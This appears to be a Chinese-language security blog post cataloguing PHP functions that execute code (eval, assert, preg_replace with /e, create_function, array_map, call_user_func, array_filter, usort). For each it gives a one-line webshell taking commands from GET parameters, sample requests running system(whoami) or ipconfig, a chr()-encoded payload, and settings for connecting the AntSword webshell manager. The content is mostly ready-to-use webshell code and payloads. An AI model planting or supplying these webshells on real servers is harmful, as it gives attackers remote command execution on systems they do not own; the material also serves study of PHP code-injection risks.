• PHP-代码执行


    代码执行

    1. eval()
    PHP 457
    eval — 把字符串作为PHP代码执行,字符串要符合语法规则
    eval ( string $code ) : mixed
    

    命令执行利用:

    <?php @eval($_GET['cmd']); ?>
    test.php?cmd=system(whoami);
    注意分号
    

    蚁剑:cmd改post接收,密码cmd
    注意:eval是一个语言构造器而不是一个函数,所以不能被可变函数调用,例如:

    $a='eval';
    $a('phpinfo();');
    报错:PHP Fatal error:  Uncaught Error: Call to undefined function eval() in
    
    1. assert()
    PHP 457
    assert — 检查一个断言是否为 FALSE
    5:assert ( mixed $assertion [, string $description ] ) : bool
    7:assert ( mixed $assertion [, Throwable $exception ] ) : bool
    如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
    

    命令执行利用:

    <?php @assert($_GET['cmd']); ?>
    test.php?cmd=system(ipconfig)
    可不加分号
    

    蚁剑:cmd改post接收,base64编码,密码cmd

    1. preg_replace()
    PHP 45
    preg_replace — 执行一个正则表达式的搜索和替换
    preg_replace ( mixed $pattern , mixed $replacement , mixed $subject )
    搜索subject中匹配pattern的部分, 以replacement进行替换。
    如果pattern使用/e,则函数会转义('、"、  和 NULL)后,将搜索替换后的结果字符串作为php代码使用eval执行
    

    命令执行利用:

    <?php preg_replace("/test/e",$_GET["cmd"],"just test"); ?>
    参考assert
    test.php?cmd=eval(phpinfo())
    test.php?cmd=eval(chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111).chr(40).chr(41).chr(59))
    

    蚁剑:cmd改post接收,base64编码,密码cmd
    PHP 7.0.0起,会产生 E_WARNING 错误,同时 "e" 也无法起效,即无法执行代码。

    1. create_function()
    PHP 457
    create_function — 创建一个匿名(lambda样式)函数
    create_function ( string $args , string $code ) : string
    $args函数名,$code函数结构体内容
    $code会被eval()执行
    

    命令执行利用:

    <?php $func =create_function('',$_GET['cmd']);$func(); ?>
    参考eval
    test.php?cmd=system(whoami);
    

    蚁剑:cmd改post接收,base64编码,密码cmd

    1. array_map
    PHP 457
    array_map — 为数组的每个元素应用回调函数
    array_map ( callable $callback , array $array1 [, array $... ] ) : array
    对array1的每个元素应用callback函数
    $callback为assert,则把$array1数组的每个元素各作为assert()的参数执行一次
    

    命令执行利用:

    <?php 
      $func=$_GET['func'];
      $cmd=$_GET['cmd'];
      $array[0]=$cmd;
      $new_array=array_map($func,$array);
    命令执行:
    test.php?func=assert&cmd=system(ipconfig)
    

    蚁剑:cmd改POST接收,test.php?func=assert,base64编码,密码cmd

    1. call_user_func()
    PHP 457
    call_user_func — 把第一个参数作为回调函数调用
    call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] ) : mixed
    第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。
    $callback 为 assert,则 $parameter 为 assert() 的参数
    

    命令执行利用:

    <?php call_user_func("assert",$_GET['cmd']); ?>
    test.php?cmd=system(whoami)
    

    蚁剑:cmd改post接收,base64编码,密码cmd

    1. call_user_func_array()
    PHP 457
    call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数
    call_user_func_array ( callable $callback , array $param_arr ) : mixed
    把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。与array_map相似,不同的是param_arr的所有元素都是一次callback的参数
    $callback 为 assert,则 $param_arr 为 assert() 的所有参数
    

    命令执行利用:

    <?php
      $cmd=$_GET['cmd'];
      $array[0]=$cmd;
      call_user_func_array("assert",$array);
    命令执行:
    test.php?cmd=system(whoami)
    

    蚁剑:cmd改post接收,base64编码,密码cmd

    1. array_filter()
    PHP 457
    array_filter — 用回调函数过滤数组中的单元
    array_filter ( array $array [, callable $callback [, int $flag = 0 ]] ) : array
    依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。
    $callback 为 assert,则 $array 的每个元素依次为 assert() 的参数
    

    命令执行利用:

    <?php
    $cmd=$_GET['cmd'];
    $array1=array($cmd);
    $func =$_GET['func'];
    array_filter($array1,$func);
    命令执行:
    test.php?cmd=system(ipconfig)&func=assert
    

    蚁剑:cmd改post接收,test.php?func=assert,base64编码,密码cmd

    1. uasort()
    PHP 457
    uasort — 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联
    uasort ( array &$array , callable $value_compare_func ) : bool
    本函数对数组排序并保持索引和单元之间的关联。比较函数是用户自定义的。
    $value_compare_func为assert,则$array为assert()的参数
    

    命令执行利用:

    <?php usort($_GET,assert); ?>
    test.php?1=1+1&cmd=system(whoami)
    

    蚁剑:test.php?1=1+1&2=eval($_POST[cmd]),密码cmd

    参考

    https://www.cnblogs.com/-qing-/p/10819069.html
    https://www.php.net/manual/zh/

  • 相关阅读:
    学习使用资源文件[4] 用资源中的图片做背景、使用 LoadFromResourceID
    WinAPI: ShellExecute 打开外部程序或文件
    学习使用资源文件[8] 关于 HInstance
    学习使用资源文件[3] 用 Image 显示资源中的图片
    薛定谔之猫_百度百科
    美国创业公司招聘工程师
    Two star programming
    vector 自定义排序
    Data Structures, Algorithms, & Applications in Java Suffix Trees
    Three Star Programmer
  • 原文地址:https://www.cnblogs.com/Rain99-/p/13497529.html
Copyright © 2020-2023  润新知